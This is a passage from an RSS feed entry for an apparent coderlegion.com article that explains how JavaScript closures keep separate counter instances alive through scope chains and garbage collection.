&lt;p&gt;The second call &lt;code&gt;myCounter1()&lt;/code&gt; repeats exactly: it looks locally, finds nothing, climbs the chain, finds &lt;code&gt;count&lt;/code&gt; now at 1, increments it to 2, and logs 2.&lt;/p&gt;
&lt;p&gt;We get updated value here all because &lt;code&gt;counter()&lt;/code&gt;'s local execution scope is still not garbage collected.&lt;/p&gt;
&lt;h3 id=&quot;step-3-total-isolation-with-mycounter2&quot;&gt;Step 3: Total Isolation with myCounter2&lt;/h3&gt;
&lt;p&gt;What happens when we create &lt;code&gt;myCounter2&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;Because we invoke &lt;code&gt;counter&lt;/code&gt; fresh, JavaScript generates a completely separate, second local execution context. Here &lt;code&gt;n&lt;/code&gt; receives the value of &lt;code&gt;a&lt;/code&gt; (which is 2), so &lt;code&gt;count&lt;/code&gt; starts at 2.&lt;/p&gt;
&lt;p&gt;Calling &lt;code&gt;myCounter2()&lt;/code&gt; climbs its own scope chain, finds its own &lt;code&gt;count&lt;/code&gt; at 2, increments it, and outputs 3.&lt;/p&gt;
&lt;p&gt;To prove the two environments share nothing, look at the final &lt;code&gt;myCounter1()&lt;/code&gt;. It ignores whatever &lt;code&gt;myCounter2&lt;/code&gt; did, goes right back to its original environment, finds its old value of 2, increments it to 3, and logs 3.&lt;/p&gt;
&lt;h3 id=&quot;final-thoughts-1&quot;&gt;Final Thoughts&lt;/h3&gt;
&lt;p&gt;At the end of the day, that's all a closure is. The outer function's local execution scope escapes garbage collection because the inner function's definition, whose reference is present in the global scope, keeps a live, reachable path back to the outer function's local execution scope via &lt;code&gt;[[Scope]]&lt;/code&gt;. That persistent connection is what keeps the data alive across separate instances.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/25900/javascript-closures-how-they-actually-work</guid>
<pubDate>Mon, 31 Aug 2026 06:07:48 +0000</pubDate>
</item>
</channel>
</rss>